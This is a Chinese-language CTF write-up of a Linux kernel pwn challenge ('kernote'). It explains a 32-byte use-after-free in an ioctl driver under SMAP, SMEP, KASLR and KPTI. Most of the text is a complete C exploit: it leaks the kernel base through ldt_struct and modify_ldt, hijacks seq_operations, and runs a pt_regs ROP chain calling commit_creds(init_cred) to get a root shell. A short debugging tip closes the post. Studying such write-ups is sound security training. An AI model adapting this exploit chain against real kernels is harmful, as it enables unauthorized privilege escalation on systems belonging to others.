前言
题目给的文件系统是 ext4,所以我们只需要将其挂载即可使用:
1、创建一个空目录
2、使用 mount 将其挂载即可
3、使用 umount 卸载即可完成打包
开启了 smap、smep、kaslr 和 kpti 保护,并且给了如下内核编译选项:
Here are some kernel config options in case you need it
```
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
```
可以看到这里使用的是 slab 分配器而不是默认的 slub 分配器:
- 开启了 Random Freelist(slab 的 freelist 会进行一定的随机化)
- 开启了 Hardened Freelist(slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或(参照 glibc 的 safe-linking))
- 开启了 Hardened Usercopy(在向内核拷贝数据时会进行检查,检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等)
- 开启了 Static Usermodehelper Path(modprobe_path 为只读,不可修改)
漏洞利用
驱动程序比较简单,就一个 ioctl 函数,实现了四个功能,给了一个 32 字节大小的 UAF,并且有写 8 字节的能力。
漏洞的产生在于在释放了 buf[idx] 时,虽然将其置零了,但是我们可以通过 note 继续操作释放的堆块,这里就导致了 UAF。
这里需要注意的是本题使用的是 slab 分配器,其最小的堆块大小就是 32 字节了,所以这里的 ldt_struct 也是会分配到 32 字节的 object,所以这里选择 ldt_struct 泄漏内核基地址,然后再劫持 seq_operations,利用 pt_regs 一套带走。
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>#define SECONDARY_STARTUP_64 0xffffffff81000040size_t pop_rdi = 0xffffffff81075c4c; // pop rdi ; ret
size_t init_cred = 0xffffffff8266b780;
size_t commit_creds = 0xffffffff810c9dd0;
size_t add_rsp_xx = 0xFFFFFFFF81A1B270;
size_t swapgs_kpti = 0xFFFFFFFF81C00FB8;int seq_fd;
char buffer[8];void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int fd;
void add(size_t idx)
{ioctl(fd, 0x6667, idx);
}void dele(size_t idx)
{ioctl(fd, 0x6668, idx);
}void note_get(size_t idx)
{ioctl(fd, 0x6666, idx);
}void note_write(size_t data)
{ioctl(fd, 0x6669, data);
}int main(int argc, char** argv, char** env)
{bind_core(0);int res;int pipe_fd[2];size_t* buf;size_t temp;size_t page_offset_base;size_t search_addr;size_t kernel_offset;struct user_desc desc = { 0 };fd = open("/dev/kernote", O_RDWR);if (fd < 0) err_exit("Failed to open /dev/kernote");add(0);note_get(0);dele(0);page_offset_base = 0xffff888000000000;desc.base_addr = 0xff0000;desc.entry_number = 0x8000 / 8;syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));while (1){note_write(page_offset_base);res = syscall(SYS_modify_ldt, 0, &temp, 8);if (res > 0) break;else if (res == 0) err_exit("Error in leak page_offset_base by ldt_struct");page_offset_base += 0x4000000;}hexx("page_offset_base", page_offset_base);pipe(pipe_fd);buf = malloc(0x1000*sizeof(size_t));kernel_offset = -1;search_addr = page_offset_base;while (1){note_write(search_addr);if (!fork()){res = syscall(SYS_modify_ldt, 0, buf, 0x8000);for (int i = 0; i < 0x1000; i++)if (buf[i] > 0xffffffff81000000 && (buf[i]&0xfff) == 0x040){kernel_offset = buf[i] - SECONDARY_STARTUP_64;break;}write(pipe_fd[1], &kernel_offset, 8);exit(0);}wait(NULL);read(pipe_fd[0], &kernel_offset, 8);if (kernel_offset != -1) break;search_addr += 0x8000;}hexx("kernel_offset", kernel_offset);pop_rdi += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;swapgs_kpti += kernel_offset;add_rsp_xx += kernel_offset;hexx("add_rsp_xx", add_rsp_xx);add(1);note_get(1);dele(1);seq_fd = open("/proc/self/stat", O_RDONLY);if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");note_write(add_rsp_xx);asm("mov r15, pop_rdi;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_kpti;""xor rax, rax;""mov rdi, seq_fd;""mov rsi, buffer;""mov rdx, 8;""syscall;");hexx("UID", getuid());system("/bin/sh");return 0;
}
效果如下:
彩蛋
这里调试时,又无法在 seq_operations->start 这里断住,思考了好久,最后想到了,seq_operations->start 是在 seq_read_iter 中被调用的,所以直接把断点打在 seq_read_iter 这里,然后再跟几步就可以跟到 seq_operations_start 了。以后就直接这样调试了
其实我们要注意栈回溯,如果断点断不下来,我们可以往前回溯,然后跟几步就 ok 了
参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3's blog